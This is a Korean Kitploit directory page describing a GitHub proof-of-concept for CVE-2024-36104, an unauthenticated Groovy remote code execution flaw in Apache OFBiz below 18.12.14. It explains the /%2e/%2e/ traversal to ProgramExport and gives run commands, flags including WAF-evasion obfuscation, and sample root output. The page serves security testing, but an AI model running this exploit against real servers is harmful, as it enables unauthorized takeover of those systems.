Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-36104-PoC — CVE-2024-36104용 PoC — /%2e/%2e/ view 경로 탐색을 통해 ProgramExport에 접근하는 Apache OFBiz(<18.12.14)의 인증되지 않은 Groovy RCE | Kitploit
도구/GitHubGitHub/groppoxx/cve-2024-36104-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubgroppoxx/cve-2024-36104-poc

CVE-2024-36104-PoC

CVE-2024-36104용 PoC — /%2e/%2e/ view 경로 탐색을 통해 ProgramExport에 접근하는 Apache OFBiz(<18.12.14)의 인증되지 않은 Groovy RCE

저장소 보기
3122개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-36104-PoC

CVE-2024-36104에 대한 개념 증명(PoC)으로, Apache OFBiz 18.12.14 이전 버전의 인증되지 않은 원격 코드 실행 취약점입니다.

OFBiz의 ControlServlet은 요청 경로를 정규화하기 전에 인증되지 않은 뷰(forgotPassword)를 해석합니다. /%2e/%2e/를 추가하면 경로가 다시 /webtools/control/로 축소되므로, 요청은 원래 뷰와 연결된 보안/권한 검사를 전혀 거치지 않고 ProgramExport 뷰에 도달합니다. 이후 ProgramExport가 임의의 Groovy 코드를 실행하여 인증되지 않은 원격 명령 실행을 가능하게 합니다.

이 스크립트는 명령을 /usr/bin/bash -lc로 실행하는 Groovy 스니펫으로 감싼 뒤 취약한 엔드포인트로 전송하고, OFBiz가 HTML 응답에 포함해 다시 던지는 java.lang.Exception에서 출력을 추출합니다.

기능

  1. 대상 URL을 검증하고 정규화합니다.
  2. /%2e/%2e/ 경로 순회를 통해 forgotPassword에서 ProgramExport로 이어지는 경로를 구성합니다.
  3. 명령을 Bash를 통해 실행되는 Groovy 페이로드로 감쌉니다.
  4. 페이로드를 groovyProgram으로 취약한 엔드포인트에 전송합니다.
  5. HTML 응답을 파싱하여 명령 출력을 추출합니다.
  6. 파싱 실패 또는 서버 오류 시 원시 응답으로 대체합니다.

요구 사항

Python 3.8+

pip install -r requirements.txt

필요한 Python 패키지:

requests
urllib3

빠른 시작

꺾쇠괄호(< >)로 감싼 값은 자리 표시자입니다. 이를 자신의 값으로 바꾸고 < 또는 > 문자는 포함하지 마세요.

python3 cve_2024_36104.py \
  --target <TARGET_URL> \
  --command <COMMAND>

자리 표시자

<TARGET_URL>  # Target base URL. Example: https://10.129.231.23
<COMMAND>     # Command that Bash will interpret. Example: id

전체 예시

python3 cve_2024_36104.py \
  --target https://10.129.231.23 \
  --command "id"

예제 출력:

[2026-05-17T18:20:10Z] [*] Target: https://10.129.231.23/webtools/control/forgotPassword/%2e/%2e/ProgramExport
[2026-05-17T18:20:10Z] [*] Host header sent: localhost
[2026-05-17T18:20:10Z] [*] Command: id
[2026-05-17T18:20:11Z] [*] HTTP status: 200
[2026-05-17T18:20:11Z] [*] Response size: 4213 bytes

[+] Output of: id
uid=0(root) gid=0(root) groups=0(root)

선택적 플래그

-H, --host-header <HOST>
   Value of the Host header. Default: localhost

--prefix-view <VIEW>
   Unauthenticated view used before the /%2e/%2e/ traversal. Default: forgotPassword

--target-view <VIEW>
   View reached after the traversal. Default: ProgramExport

--endpoint <PATH>
   Full custom endpoint path, overrides --prefix-view/--target-view.

--timeout <SECONDS>
   Maximum HTTP request time. Default: 15

--obfuscate
   Send groovyProgram as \uXXXX escapes instead of plaintext, matching the
   encoding used in public write-ups to dodge naive WAF signatures.

--show-payload
   Print the generated Groovy code before sending it.

--show-response
   Print the full HTML response.

--only-final
   Hide progress logs and print only the command output.

--no-color
   Disable ANSI colors.

--debug
   Enable extra diagnostic logging.

참고 사항

  • 18.12.14 이전 Apache OFBiz 버전에 영향을 줍니다.
  • 인증이나 사용자 상호작용이 필요하지 않습니다.
  • 서버가 502를 반환하면 프록시 시간 초과 전에 백엔드가 완료되지 않았을 가능성이 높습니다. 명령은 서버 측에서 여전히 완료될 수 있습니다.
  • 자동 추출이 실패하면 --show-response를 사용하여 원시 HTML을 확인하세요.

법적 고지

이 PoC는 승인된 보안 테스트, 실험실 환경, 취약점 검증을 위해 제작되었습니다. 명시적 허가 없이 시스템에 사용하지 마십시오.

도구 다운로드